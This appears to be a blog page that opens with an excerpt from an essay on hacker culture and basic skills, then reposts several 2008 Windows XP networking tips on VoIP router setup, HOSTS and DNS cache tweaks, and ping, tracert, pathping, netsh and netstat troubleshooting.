Creative brains are a valuable, limited resource. They shouldn't be wasted on re-inventing the wheel when there are so many fascinating new problems waiting out there.
To behave like a hacker, you have to believe that the thinking time of other hackers is precious -- so much so that it's almost a moral duty for you to share information, solve problems and then give the solutions away just so other hackers can solve new problems instead of having to perpetually re-address old ones. (You don't have to believe that you're obligated to give all your creative product away, though the hackers that do are the ones that get most respect from other hackers. It's consistent with hacker values to sell enough of it to keep you in food and rent and computers. It's consistent to use your hacking skills to support a family or even get rich, as long as you don't forget you're a hacker while you're doing it.)

3. Boredom and drudgery are evil.

Hackers (and creative people in general) should never be bored or have to drudge at stupid repetitive work, because when this happens it means they aren't doing what only they can do -- solve new problems. This wastefulness hurts everybody. Therefore boredom and drudgery are not just unpleasant but actually evil.
To behave like a hacker, you have to believe this enough to want to automate away the boring bits as much as possible, not just for yourself but for everybody else (especially other hackers). (There is one apparent exception to this. Hackers will sometimes do things that may seem repetitive or boring to an observer as a mind-clearing excercise, or in order to acquire a skill or have some particular kind of experience you can't have otherwise. But this is by choice -- nobody who can think should ever be forced into boredom.)

4. Freedom is good.

Hackers are naturally anti-authoritarian. Anyone who can give you orders can stop you from solving whatever problem you're being fascinated by -- and, given the way authoritarian minds work, will generally find some appallingly stupid reason to do so. So the authoritarian attitude has to be fought wherever you find it, lest it smother you and other hackers.
(This isn't the same as fighting all authority. Children need to be guided and criminals restrained. A hacker may agree to accept some kinds of authority in order to get something he wants more than the time he spends following orders. But that's a limited, conscious bargain; the kind of personal surrender authoritarians want is not on offer.) Authoritarians thrive on censorship and secrecy. And they distrust voluntary cooperation and information-sharing -- they only like `cooperation' that they control. So to behave like a hacker, you have to develop an instinctive hostility to censorship, secrecy, and the use of force or deception to compel responsible adults. And you have to be willing to act on that belief.

5. Attitude is no substitute for competence.

To be a hacker, you have to develop some of these attitudes. But copping an attitude alone won't make you a hacker, any more than it will make you a champion athlete or a rock star. Becoming a hacker will take intelligence, practice, dedication, and hard work.
Therefore, you have to learn to distrust attitude and respect competence of every kind. Hackers won't let posers waste their time, but they worship competence -- especially competence at hacking, but competence at anything is good. Competence at demanding skills that few can master is especially good, and competence at demanding skills that involve mental acuteness, craft, and concentration is best. If you revere competence, you'll enjoy developing it in yourself -- the hard work and dedication will become a kind of intense play rather than drudgery. And that's vital to becoming a hacker. Basic Hacking Skills The hacker attitude is vital, but skills are even more vital. Attitude is no substitute for competence, and there's a certain basic toolkit of skills which you have to have before any hacker will dream of calling you one.
This tookit changes slowly over time as technology creates new skills and makes old ones obsolete. For example, it used to include programming in machine language, and didn't until recently involve HTML. But in late 1996 it pretty clearly includes the following:

1. Learn how to program.

This, of course, is the fundamental hacking skill. In 1997 the one language you absolutely must learn is C (though it's not the one to try learning first thing). But you aren't a hacker or even merely a programmer if you only know one language -- you need to learn how to think about programming problems in a general way, independent of any one language. To be a real hacker, you need to have gotten to the point where you can learn a new language in days by relating what's in the manual to what you already know. This means you should learn several very different languages.
Besides C, you should also learn at least LISP and Perl (and Java is pushing hard for a place on the list). Besides being the most important hacking languages, these each represent very different approaches to programming, and all will educate you in valuable ways. I can't give complete instructions on how to learn to program here -- it's a complex skill. But I can tell you that books and courses won't do it (many, maybe most of the best hackers are self-taught). What will do it is (a) reading code and (b) writing code. Learning to program is like learning to write good natural language. The best way to do it is to read some stuff written by masters of the form, write some things yourself, read a lot more, write a little more, read a lot more, write some more ... and repeat until your writing begins to develop the kind of strength and economy you see in your models. Finding good code to read used to be hard, because there were few large programs available in source for fledgeling hackers to read and tinker with. This has changed dramatically; free software, free programming tools, and free operating systems (all available in source, and all built by hackers) are now widely available. Which brings me neatly to our next topic...

2. Get one of the free UNIXes and learn to use and run it.

I'm assuming you have a personal computer or can get access to one (these kids today have it so easy :-)). The single most important step any newbie can take towards acquiring hacker skills is to get a copy of Linux or one of the free BSD-Unixes, install it on a personal machine, and run it.
Yes, there are other operating systems in the world besides Unix. But they're distributed in binary -- you can't read the code, and you can't modify it. Trying to learn to hack on a DOS or Windows machine or under MacOS is like trying to learn to dance while wearing a body cast. Besides, Unix is the operating system of the Internet. While you can learn to use the Internet without knowing Unix, you can't be an Internet hacker without understanding it. For this reason, the hacker culture today is pretty strongly Unix-centered. (This wasn't always true, and some old-time hackers aren't happy about it, but the symbiosis between Unix and the Internet has become strong enough that even Microsoft's muscle doesn't seem able to seriously dent it.) So, bring up a Unix -- I like Linux myself but there are other ways. Learn it. Run it. Tinker with it. Talk to the Internet with it. Read the code. Modify the code. You'll get better programming tools (including C, Lisp, and Perl) than any Microsoft operating system can dream of, you'll have fun, and you'll soak up more knowledge than you realize you're learning until you look back on it as a master hacker.

3. Learn how to use the World Wide Web and write HTML.

Most of the things the hacker culture has built do their work out of sight, helping run factories and offices and universities without any obvious impact on how non-hackers live. The Web is the one big exception, the huge shiny hacker toy that even politicians admit is changing the world. For this reason alone (and a lot of other good ones as well) you need to learn how to work the Web.
This doesn't just mean learning how to drive a browser (anyone can do that), but learning how to write HTML, the Web's markup language. If you don't know how to program, writing HTML will teach you some mental habits that will help you learn. So build a home page. But just having a home page isn't anywhere near good enough to make you a hacker. The Web is full of home pages. Most of them are pointless, zero-content sludge -- very snazzy-looking sludge, mind you, but sludge all the same .
Status in the Hacker Culture Like most cultures without a money economy, hackerdom runs on reputation. You're trying to solve interesting problems, but how interesting they are, and whether your solutions are really good, is something that only your technical peers or superiors are normally equipped to judge.
Accordingly, when you play the hacker game, you learn to keep score primarily by what other hackers think of your skill (this is why you aren't really a hacker until other hackers consistently call you one). This fact is obscured by the image of hacking as solitary work; also by a hacker-cultural taboo (now gradually decaying but still potent) against admitting that ego or external validation are involved in one's motivation at all. Specifically, hackerdom is what anthropologists call a gift culture. You gain status and reputation in it not by dominating other people, nor by being beautiful, nor by having things other people want, but rather by giving things away. Specifically, by giving away your time, your creativity, and the results of your skill. There are basically five kinds of things you can do to be respected by hackers:

1. Write free software.

The first (the most central and most traditional) is to write programs that other hackers think are fun or useful, and give the program sources to the whole hacker culture to use.
Hackerdom's most revered demigods are people who have written large, capable programs that met a widespread need and given them away, so that now everyone uses them.

2. Help test and debug free software

They also serve who stand and debug free software. In this imperfect world, we will inevitably spend most of our software development time in the debugging phase. That's why any free-software author who's thinking will tell you that good beta-testers (who know how to describe symptoms clearly, localize problems well, can tolerate bugs in a quickie release, and are willing to apply a few simple diagnostic routines) are worth their weight in rubies. Even one of these can make the difference between a debugging phase that's a protracted, exhausting nightmare and one that's merely a salutory nuisance.
If you're a newbie, try to find a program under development that you're interested in and be a good beta-tester. There's a natural progression from helping test programs to helping debug them to helping modify them. You'll learn a lot this way, and generate good karma with people who will help you later on.

3. Publish useful information.

Another good thing is to collect and filter useful and interesting information into Web pages or documents like FAQs (Frequently Asked Questions lists), and make those generally available.
Maintainers of major technical FAQs get almost as much respect as free-software authors.

4. Help keep the infrastructure working.

The hacker culture (and the engineering development of the Internet, for that matter) is run by volunteers. There's a lot of necessary but unglamorous work that needs done to keep it going -- administering mailing lists, moderating newsgroups, maintaining large software archive sites, developing RFCs and other technical standards.
People who do this sort of thing well get a lot of respect, because everybody knows these jobs are huge time sinks and not much fun as playing with code. Doing them shows dedication.

Q: What language should I learn first?

HTML, if you don't already know it. There are a lot of glossy, hype-intensive bad HTML books out there, and distressingly few good ones. The one I like best is HTML: The Definitive Guide.
When you're ready to start programming, I would recommend starting with Perl or Python. C is really important, but it's also much harder.

Q: How can I get started? Where can I get a free Unix?

Elsewhere on this page I include pointers to where to get a Linux. To be a hacker you need motivation and initiative and the ability to educate yourself. Start now...

VoIP Hacks

2008-08-01T04:14:00.000-07:00

The Voice over Internet Protocol (VoIP) lets you make phone calls over the Internet for less money than the normal phone system. But VoIP services can sometimes be flaky. Here's a grab bag of hacks for getting more out of your VoIP service. VoIP technology has been around for several years, but only recently has it begun to take off and be available directly to consumers. With a VoIP service, you pay a monthly fee, just as you do to your normal telephone provider, and you get services such as call waiting, caller ID, and similar features. Typically, VoIP phone plans are less expensive than traditional phone plans, and they're often much less expensive for when you make overseas calls. They also offer low-priced "all-you-can-eat" plans for making phone calls in the U.S. They require that you have a broadband Internet connection such as a DSL modem or cable modem because lower-speed service doesn't have a high enough bandwidth to deliver good enough voice quality. When you use a VoIP service, you plug a special VoIP phone into your home router, DSL modem, or cable modem via an Ethernet cable.

If you plug the phone into your DSL modem or cable modem, you then plug your PC into a port on your phone via an Ethernet cable so that your PC can also get Internet access.

Calls made over VoIP travel over the Internet, as do any other Internet packets. They are then transferred to the normal phone system via a gateway so that you can call any phone in the world as you would with any telephone. You receive calls in the same way. Someone makes a call on a normal telephone, and that call travels over the normal telephone system, then is sent to a gateway where the call is broken into IP packets and delivered over the Internet to your telephone. With this type of VoIP service, you get your own phone number, just like any phone number. In fact, you might even be able to keep your existing phone number. There are also software-only VoIP services, in which you don't use any special hardware or equipment. Instead, you download a piece of software and use your PC's speakers and microphone to talk, or else plug a headset into your PC's microphone jack. Generally, these only let you call others who use the same software that you do; in other words, you can't make calls to normal telephones, but can make them to those who also use the same VoIP software you're using. In this scenario, the phone call travels over the Internet. It never actually travels to the normal phone system because the calls aren't made to normal telephones. These VoIP services are typically free. They don't offer full service plans, and so don't have caller ID, call waiting, and similar features. In fact, instant messenger programs such as AOL Instant Messenger, Yahoo! Messenger, and Windows Messenger let you make calls this way. Some of these services let you make phone calls to regular telephones as well, although for that they charge you a fee. And for now, anyway, you can't receive normal phone calls on them; you can make phone calls only. But that is expected to change. The best-known full-featured VoIP service that lets you make phone calls to anyone and receive phone calls is Vonage (http://www.vonage.com). It offers a variety of service plansfor example, $14.99 per month for 500 minutes of calls per month to anywhere in the U.S or Canada, or $24.99 per month for unlimited calls per month to anywhere in the U.S. or Canada. All plans include a variety of free services, such as voicemail, caller ID, call waiting, call forwarding, call transfer, and three-way calling. And international calls are as low as 2 cents per minute to London, Paris, Rome, and Hong Kong. A variety of other companies are entering the VoIP market, including ISPs and AT&T. The best-known software-only VoIP service is Skype (http://www.skype.com), which is available for free when you make calls to other Skype users. But using VoIP can sometimes be a frustrating experience. So, use these hacks to solve some common VoIP woes. 5.11.1. Troubleshoot VoIP Phone/Home Router Problems Some people have had problems when using Vonage VoIP service with their home routers. Instead of incoming calls being sent to their phones, the calls go directly to voicemail. How you solve this varies from router to router, but here's how to do it with the popular Linksys router line. Other routers should have similar fixes. You're going to set up your router so that it uses its port forwarding feature to send calls directly to your IP telephone. First, turn off your cable modem or DSL modem, all the computers on your network, your router, and your IP telephone. Then, turn your cable modem or DSL modem and your router back on. Turn on your IP telephone, and make sure that turn it on before turning on any PCs on your network. This will make sure it is given the network's first IP address via DHCP.

Your caller ID service on either your normal telephone or VoIP phone can easily be subject to caller ID spoofing so that the caller ID number you see before you pick up the phone isn't really the person calling you. Normally, in caller ID, whenever someone makes a phone call his Calling Party Number (CPN) is sent along with it. Sent along with the CPN is a privacy flag; if the caller has requested that his number not be shared, the flag tells the phone network to block the CPN from being sent.

But VoIP changes all that. Using the open source Linux-based PBX software Asterisk with certain VoIP providers, someone can change the CPN sent along with his call, making it appear to come from any number he wants. So, keep in mind that increasingly, caller ID is being subject to spoofing and hacks.

Once you've turned on your IP telephone and your PCs, log into the Linksys administrator's setup screen by opening your browser, typing http://192.168.1.1, and pressing Enter. Leave the username blank, and use the password admin and press Enter. (That's the default password for the router; if you've changed it, use the password you've changed it to.) From the setup screen, choose Advanced Forwarding. You'll come to the port forwarding screen. Set up port forwarding to route these port ranges to your IP telephone. Forward each port to the IP address of your IP phone, such as 192.168.1.101. (The IP address will be the first one assigned by your network.) Set the protocol to UDP. Use the port settings in Table 5-8. Table 5-8. Port ranges for your IP telephone Port range Protocol IP address

53 to 53	UDP	Your phone's IP address
5060 to 5061	UDP	Your phone's IP address
123 to 123	UDP	Your phone's IP address
69 to 69	UDP	Your phone's IP address
10000 to 20000	UDP	Your phone's IP address

Your screen will look like Figure 5-6. Figure 5-6. Setting up a Linksys router to work with a Vonage IP phone

If you're not sure of your Vonage phone's IP address, it's easy to find out. Take the phone off the hook. The red function button on the top of the phone will light up. Press the illuminated red button and then dial 80#. Your IP address will be displayed.

When you're done, click Apply. The port forwarding will take effect immediately, so your problems should be solved. 5.11.2. Get Your Vonage IP Phone to Work with DSL The nature of some DSL services cause conflicts with Vonage IP telephones, so when you use DSL, you might not be able to get your IP phone to work. Even if the phone previously worked with a cable modem, when you switch to DSL it might stop working. The problem is that DSL services often require the use of PPPoE, but if you don't also turn on PPoE in your Vonage phone, the phone won't work. To turn on PPPoE in your Vonage phone, open a web browser in the computer that has the phone connected to it. Go to http://192.168.102.1 and press Enter. (That's the default address for configuring Vonage phones. If you have another type of phone, or if your Vonage phone has a different configuration address, use that instead.) The phone's Basic Configuration screen will appear. Select the Enable PPPoE option, and type the DSL service name, username, and password that your DSL provider gave to you. Click Save Changes. You'll get the message "This will require a reboot of the unit. Are you sure?" Click OK. Your phone will reboot. Wait five minutes, and pick up your phone. It will now work.

Is VoIP a Telephone or Internet Service?

When you use VoIP, are you making a phone call or using the Internet? The logical answer, of course, is both. But state and federal governments are not logical, so that question makes an enormous difference in how VoIP services will be regulated. If VoIP is treated as if it were a telephone service, for example, VoIP companies could be required to provide Enhanced 911 emergency phone services and pay into federal and state universal service funds that are used to help pay for telecommunications service to low-income areas, schools, and libraries. Also unclear is whether VoIP services must comply with federal wiretap laws. At the time of this writing, the Federal Communications Commission hasn't made a definitive decision on the matter, but it has made a series of rulings related to VoIP. It ruled that software-only VoIP that makes PC-to-PC phone calls only is not a phone service and therefore does not have to comply with phone service regulation. It also ruled that state governments do not have regulatory authority over VoIP services that use the telephone system to let you make and receive phone calls to anyone, anywhere, as a phone service. Instead, the federal government has that authority. But as of this writing, it still hasn't ruled on whether it will treat that service like a telephone call, like Internet access, like some hybrid of the two, or in some other way.

5.11.3. Cut Your DSL Costs with VoIP Many DSL services let you make phone calls as well as get high-speed Internet access over the same telephone line. So, if you use VoIP in concert with DSL, you're paying double for your phone serviceonce for DSL, and the second time for VoIP. There's a solution: get a DSL service that offers only Internet access, not phone service. It's sometimes called Naked DSL. Qwest and Verizon both offer Naked DSL, and other DSL providers might follow suit.

A federal law says that when you switch telephone providers, you should be allowed to keep your existing phone number. But you'll have to ask for it; it doesn't happen automatically. And there might be circumstances in which you can't keep your existing phone number. If you're switching to Vonage, go to http://www.vonage.com/identity/vonage/includes/lnploa.pdf and fill out the form online. You'll be told whether you can transfer your phone, as well as the steps you have to take to have it switched. The change might not take effect immediately, and you might get a temporary phone number that you can use with your Vonage phone while the changeover happens.

5.11.4. Make Skype Calls at Work If you try to make Skype calls at work, you might get a "Skype error #1102" and be unable to make a connection. If that happens, it means your business's firewall won't let you through. To make the calls, you'll have to tell the system administrator to open up unrestricted outgoing TCP access to all destination ports above 1024, or to port 80. (Destination ports above 1024 is a better bet, however.) That will let you make the connection. If you want better voice quality, tell the administrator to also open up outgoing UDP traffic to all ports above 1024, and to allow UDP replies to come back in.

Tweak DNS Settings for Faster Internet Acces

2008-08-01T04:08:00.000-07:00

Here's a handful of DNS hacks for speeding up access to web sites. You use the Web by typing in hostnames such as www.crack0hack.wetpaint.com, but web servers and Internet routers can't understand plain English words, so they need those letters translated into numeric IP addresses. Whenever you type in a hostname, such as http://sai143mohan.blogspot.com it needs to be resolved to its IP address, such as 208.201.239.37. DNS servers provide that name resolution automatically and behind the scenes as you surf the Web. There are several ways you can hack your DNS settings so that you can get faster web access. 5.2.1. Speed Up Web Access with a HOSTS File It takes time to send your request to a DNS server, have the server look up the proper IP address to resolve the name, and then send the IP address back to your PC. You can eliminate that delay by creating or editing a local HOSTS file on your own PC that contains hostnames and their corresponding IP addresses. When you create a HOSTS file, XP will first look in that to see if there's an entry for the hostname, and if it finds it, it will resolve the address itself. That way, you won't have to go out to a DNS server and wait for the response before visiting a web site. The HOSTS file is a plain-text file you can create or edit with a text editor like Notepad. You'll find an existing HOSTS file in C:\Windows\System32\Drivers\Etc\HOSTS (in Windows XP Professional, it's located in C:\Winnt\System32\Drivers\HOSTS). The file has no extension; it is named only HOSTS. Open it in Notepad and enter the IP addresses and hostnames of your commonly visited web sites, like this:208.201.239.37 oreilly.com 216.92131.107 simtel.net
Each entry in the file should be on one line. The IP address should be in the first column, and the corresponding hostname in the next column. At least one space should separate the two columns. You can add comments to the file by preceding the line with a #, in which case the entire line will be ignored by the file, or by putting a # after the hostname, in which case only the comment after will be ignored. You might want to comment on individual entriesfor example:130.94.155.164 gralla.com #still in beta
When you're finished editing the file, save it to its existing location.

Make sure to check your HOSTS file regularly and keep it up-to-date, or else you might deny yourself access to certain web sites. For example, if the http://www.gralla.com web site were to change its IP address but your HOSTS file kept the old, incorrect address, your browser would not be able to find the site because it would be given the wrong addressing information.

5.2.2. Adjust XP's DNS Cache Settings As a way of speeding up DNS, when you visit a site XP puts the DNS information into a local DNS cache on your PC. So, when you want to go to a site, XP first looks in its local DNS cache, called the resolve cache, to see whether the DNS information is contained there. That way, if it finds the information locally, it doesn't have to query a remote DNS server to find IP information. The cache is made up of recently queried names and entries taken from your HOSTS file. The cache contains both negative and positive entries. Positive entries are those in which the DNS lookup succeeded, and you were able to connect to the web site. When XP looks in the cache, if it finds a positive entry it immediately uses that DNS information and sends you to the requested web site. Negative entries are those in which no match was found, and you end up getting a "Cannot find server or DNS" error in your browser. Similarly, when XP looks in the cache and finds a negative entry, it gives you the error message without bothering to go out to the site. Negative entries can lead to problems. When you try to make a connection to a site that has a negative entry in your cache, you'll get an error message, even if the site's problems have been resolved and it's now reachable. You can solve this problem, though, using a Registry hack. By default, XP caches negative entries for five minutes. After five minutes, they're cleared from your cache. But if you'd like, you can force XP not to cache these negative entries so that you'll never run into this problem. Run the Registry Editor [Hack #83] and go to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters. Create a new DWORD value with the name NegativeCacheTime and give it a value of 0. (The value might already exist. If it does, edit its value to 0.) The DWORD determines how much time, in seconds, to keep negative entries in the DNS cache. If you like, you can have the entries stay alive for one second by giving the DWORD a value of 1. After you're done editing, exit the Registry. To make the change take effect, restart your computer, or flush your cache by issuing the command ipconfig /flushdns at a command prompt.

For more information about using ipconfig, see [Hack #51] .

That command will flush your DNS cacheall the entries, both positive and negative, will be flushed, and it will be empty until you start visiting web sites. Negative entries, however, will not be added to the cache if you've given the DWORD a value of 0. You can also use the Registry to control the amount of time positive entries are kept in the DNS cache. By default, they are kept for 24 hours. To change the default, go to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters again and create a DWORD value called MaxCacheEntryTtlLimit. (If it's already present, just edit the value.) For the value, enter the amount of time you want the entry to remain, in seconds, making sure to use Decimal as the base. 5.2.3. Fix DNS Problems Sometimes, when you can't connect to a web site, the cause is a DNS problem. There are things you can do to solve these problems, though. If you're having trouble connecting to a site, to find out if DNS is a potential culprit first ping [Hack #51] the site to which you can't connect by issuing the ping command at the command prompt or in the Run box, like this:ping www.zdnet.com
If the site is live, you'll get an answer like this:Pinging www.zdnet.com [206.16.6.252] with 32 bytes of data: Reply from 206.16.6.252: bytes=32 time=119ms TTL=242 Reply from 206.16.6.252: bytes=32 time=79ms TTL=242 Reply from 206.16.6.252: bytes=32 time=80ms TTL=242 Reply from 206.16.6.252: bytes=32 time=101ms TTL=242 Ping statistics for 206.16.6.252: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 79ms, Maximum = 119ms, Average = 94ms
If it's not, you'll get a response like this:Ping request could not find host. Please check the name and try again.
If you ping a site and it's live, but you can't connect to it with your browser, a DNS problem might be the reason. If you suspect you're having a DNS problem, take the following actions:

Check your HOSTS file

If your HOSTS file contains an incorrect or outdated listing, you won't be able to connect. Even if you don't recall adding listings to a HOSTS file, it still might contain listings because some Internet accelerator utilities edit them without telling you. Open your HOSTS file with Notepad and see if the site you can't connect to is listed there. If it is, delete the entry, and you should be able to connect.

Check your DNS settings

Make sure your DNS settings are correct for your ISP or network. Find out from your ISP or network administrator what yours are supposed to be. Then, to find out your current DNS settings, double-click the problem connection in the Network Connections folder, choose Support Details, and look at the bottom of the tab to find your DNS servers. If they don't match what they're supposed to be, right-click the problem connection and choose Properties. Then, highlight Internet Protocol (TCP/IP) and choose Properties. Change the DNS servers to the proper ones, or choose "Obtain DNS server address automatically" if your ISP or network administrator tells you to.

Flush your DNS cache

The problem might be related to your DNS cache, so flush it out. To flush the cache, type ipconfig /flushdns at a command prompt.

Find out if your ISP is having DNS problems

The cause might be your ISP. One possibility is that one of its DNS servers is down, and you're trying to access the down server. Ping each of your ISP's DNS servers and, if any of them don't respond, remove them from your DNS list, as outlined earlier in this hack.

Troubleshoot Network Connections with ping, tracert, and pathping

2008-08-01T04:07:00.000-07:00

When you need help tracking down network connection problems, the command line is the place to go. If you're having problems with your network and network connections and you need troubleshooting help, forget XP's GUI; it doesn't offer you enough help. To get to the root of the problems, you're going to have to get down and dirty with command-line tools. ping and tracert are familiar tools that you might have used on occasion, but you might not know the depth of their power or the switches available to use with them. And you probably haven't heard of pathping, a quasi-combination of the two commands. 5.4.1. Troubleshoot TCP/IP Problems with ping The quickest, most commonly used, and, frequently, most helpful TCP/IP troubleshooting tool is the command-line tool ping. Use ping to find out whether the resource or server you're trying to connect to on your network or the Internet is active, and to see if there are any problems with the hops along the way to that resource or server. ping sends Internet Control Message Protocol (ICMP) Echo Request messages to the destination you're checking on, receives responses in return, and reports to you information about the connection path between you and the destination and how quickly the packets made their trip. For example, if you are having trouble getting email from a server, your first step in troubleshooting should be to ping the server to see whether the server is live, and to see how responsive it is. To use ping, get to a command prompt and type:ping target
where target is either a hostname or an IP addressfor example, pop3.catalog.com, zdnet.com, or 209.217.46.121. In response, you'll get information in this format:Pinging zdnet.com [206.16.6.208] with 32 bytes of data: Reply from 206.16.6.208: bytes=32 time=83ms TTL=242 Reply from 206.16.6.208: bytes=32 time=73ms TTL=242 Reply from 206.16.6.208: bytes=32 time=91ms TTL=242 Reply from 206.16.6.208: bytes=32 time=72ms TTL=242 Ping statistics for 206.16.6.208: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 72ms, Maximum = 91ms, Average = 79ms
If the host isn't active, instead of getting this report you'll get the message "Request timed out." If you enter a hostname, ping reports back with its IP address and then gives details about its four attempts to contact the host, a measurement of how long (in milliseconds) the packet took to make the round trip between your PC and the host, the Time To Live (TTL) information about each packet, and a summary of its findings. The TTL field can tell you how many hops the packets took to get from your PC to its destination. TTL initially specified the amount of time a packet could live, in seconds, before it expired, as a way to make sure packets didn't simply bounce around the Internet forever and create traffic jams. However, it has been reinterpreted to mean the maximum number of hops a packet will be allowed to take before it reaches its destination. The default number is 255. Each time a packet takes another hop, its TTL is reduced by one. The TTL number that ping reports is the packet's final TTL when it reaches its destination. To find out the number of hops a packet takes, subtract its initial TTL (by default, 255) from the TTL reported by ping. In our example, the packets took 13 hops to get to their destination. You can use ping with switches, like so:ping -a -l 45 208.201.239.237
This command changes the packet size sent from its default size of 32 bytes to 45 bytes, and resolves the IP address to a hostnamein other words, it lists the IP address's hostname. ping has a wide variety of useful switches that you can use for all kinds of troubleshooting. You use the basic ping command to check whether an Internet or network resource is live and to see if there are any delays in reaching it. But, as Table 5-2 shows, you can use ping and its switches for many other purposes as wellfor example, to find out the IP address of a hostname, and vice versa. Table 5-2. Useful ping switches Switch What it does
-a Resolves an IP address to a hostname.
-f Turns on the Don't Fragment flag for a packet. This lets you send packets that don't get broken up, and it can be useful for when you want to test whether packets of a certain size are getting through.
-i value Sets the value of the TTL field, using a number from 0 to 255. When you use this field, even though the field will be set to the number you specify, note that the ping report will report back as if it were set to 255. For example, if you set a TTL of 20 and the packet takes 15 hops, the TTL value ping reports will be 240.
-l value Pings using the value specified, in number of bytes.
-n count Specifies the number of ICMP Echo Request messages sent, instead of the default number of 4.
-r count Displays the IP addresses of the hops taken along the route to the destination. Specify a number between 1 and 9. If the number of actual hops exceeds the number you specify, you will get a "Request timed out" message.
-s count Displays a timestamp for the Echo Request and the Echo Reply Request for hops along the route. Specify a number between 1 and 4. If the number of actual hops exceeds the number you specify, you will get a "Request timed out" message.
-t Keeps sending the Echo Request message continually until stopped by pressing Ctrl-Break, Pause, or Ctrl-C.
-w value The maximum amount of time (in milliseconds) to wait for an Echo Reply message for each Echo Request message before issuing a timeout message. The default is 4000 (4 seconds).

5.4.2. Trace Your Network and Internet Data Path with tracert Frequently, you have a connection problem over your network or the Internet not because your final destination is down, but because there's a problem with a router somewhere between you and your final destination. For troubleshooting those kinds of problems, use tracert. It displays the path that data takes en route to the server or service you're trying to reach, either on your network or across the Internet. As with ping, it does this by sending ICMP Echo Request messages to the destination you're checking on. To use it, type TRacert destination at a command prompt, where destination can be either an IP address or a hostname. Following is a typical response from a tracert command:Tracing route to redir-zdnet.zdnet.com [206.16.6.208] over a maximum of 30 hops: 1 9 ms 11 ms 10 ms 10.208.128.1 2 8 ms 8 ms 7 ms bar02-p0-1.cmbrhe1.ma.attbb.net [24.128.8.53] 3 9 ms * 32 ms bar03-p7-0.wobnhe1.ma.attbb.net [24.147.0.193] 4 8 ms 14 ms 9 ms 12.125.39.213 5 12 ms 10 ms 9 ms gbr2-p70.cb1ma.ip.att.net [12.123.40.102] 6 25 ms 26 ms 24 ms gbr4-p80.cb1ma.ip.att.net [12.122.5.65] 7 36 ms 39 ms 64 ms gbr4-p40.cgcil.ip.att.net [12.122.2.49] 8 33 ms 33 ms 48 ms gbr3-p60.cgcil.ip.att.net [12.122.1.125] 9 72 ms 80 ms 78 ms gbr3-p30.sffca.ip.att.net [12.122.2.150] 10 72 ms 77 ms 73 ms idf26-gsr12-1-pos-6-0.rwc1.attens.net [12.122.255.222] 11 76 ms 78 ms 79 ms mdf3-bi4k-2-eth-1-1.rwc1.attens.net [216.148.209.66] 12 73 ms 72 ms 74 ms 63.241.72.150 13 72 ms 74 ms 71 ms redir-zdnet.zdnet.com [206.16.6.208]
If the destination can't be reached, you will get the message "Destination unreachable." As you can see, tracert shows the IP address and hostname address of each hop, along with timing data for each hop. If you're having problems on your network, this can help you locate the source of the problem; if a hop has a particularly long delay, you know that's the cause. You can use several switches with tracert, like this:Tracert -d -h 45 zdnet.com
This command traces to zdnet.com, displaying only the IP addresses of each router and specifying a maximum number of 45 hops en route to the destination. Table 5-3 shows the most useful tracert switches. Table 5-3. Useful tracert switches Switch What it does
-d Does not display the hostname of each router
-h value Sets a maximum number of hops for the trace to the destination
-w value Sets the maximum amount of time in milliseconds to wait for a reply

5.4.3. Troubleshoot Network Problems with pathping The pathping command works like a combination of ping and tracert. Type pathping from the command line, like this:pathping target
where target is either a hostname or an IP addresspop3.catalog.com or 209.217.46.121, for example. You then get a two-part report: first a list of every hop along the route to the destination, and then statistics about each hop, including the number of packets lost at each hop. It uses switchesfor example:pathping -n -w 1000 oreilly.com
This command tells pathping not to resolve the IP addresses of routers, and to wait one second (1,000 milliseconds) for an Echo Reply message. Table 5-4 lists the most important pathping switches. Table 5-4. Useful pathping switches Switch What it does
-n Does not display the hostname of each router.
-h value Sets a maximum number of hops for the trace to the destination. The default is 30 hops.
-w value Sets the maximum amount of time (in milliseconds) to wait for a reply.
-p Sets the amount of time (in milliseconds) to wait before a new ping is issued. The default is 250.
-q value Sets the number of ICMP Echo Request messages to transmit. The default is 100.

2008-08-01T04:04:00.000-07:00

Here are a few more command-line tools for tracking down problems with your network connection. In addition to well-known command-line network utilities such as ping, tracert, and pathping [Hack #51], three additional all-purpose utilities can help you troubleshoot network connections: netsh, netstat, and ipconfig. 5.5.1. Use netsh to Troubleshoot Network and Internet Connections netsh is a wide-ranging command-line diagnostic tool that has an exceedingly large number of commands available. (For a complete list of available commands, use Windows XP Help and Support and search for netsh.) Here you'll learn the most interesting. Perhaps the most useful of the netsh commands are the netsh diag commands. Use them to find out information about your PC's network setup, such as finding the IP address of its mail server, newsgroup server, DNS server, and similar resources. There are two ways to use netsh: directly from the command line with all its switches, or first getting to the netsh console by typing netsh at the command line and then typing the command from the netsh> prompt that appears. For example, you could type netsh diag show adapter at the command line, which lists every network adapter on your PC, or you could get to the netsh> prompt and type diag show adapter. Use the netsh command to connect to the resources and then get information about them. For example, to find out the IP address of your DNS servers, type netsh diag show dns; to find out the IP address of your mail server, type netsh diag connect mail. Table 5-5 lists the most useful of the netsh diag commands. Precede each of them with netsh diag. Note that they each have many switches associated with them. For more details, use Windows XP Help and Support and search for netsh. Table 5-5. Useful netsh diag commands Command What it does

connect ieproxy	Establishes a connection to Internet Explorer's proxy server, if one exists
connect mail	Establishes a connection to the default Outlook Express mail server
connect news	Establishes a connection to the default Outlook Express newsgroup server
ping adapter	Establishes a connection with the named adapter
ping dhcp	Establishes a connection with a DHCP server
show adapter	Lists all the adapters on the PC
show all	Lists all the network objects defined for the local PC, such as adapters, network clients, servers, modems, and other objects
show dhcp	Lists all the DHCP servers for the specified adapter
show dns	Lists all the DNS servers for the specified adapter
show gateway	Lists all the gateways for the specified adapter

5.5.2. Use netstat to Get Information About Open Network Connections If you want to get a snapshot of all incoming and outgoing network connections, use the netstat command. At a command prompt, type netstat. It lists all connections, including the protocol being used, the local and Internet addresses, and the current state of the connection, like this:Active Connections Proto Local Address Foreign Address State TCP PrestonGralla:1031 localhost:2929 ESTABLISHED TCP PrestonGralla:2887 192.168.1.103:netbios-ssn TIME_WAIT TCP PrestonGralla:2899 www.oreillynet.com:http ESTABLISHED TCP PrestonGralla:2900 www.oreillynet.com:http ESTABLISHED TCP PrestonGralla:2932 mail.attbi.com:pop3 ESTABLISHED TCP PrestonGralla:2936 vmms2.verisignmail.com:pop3 ESTABLISHED
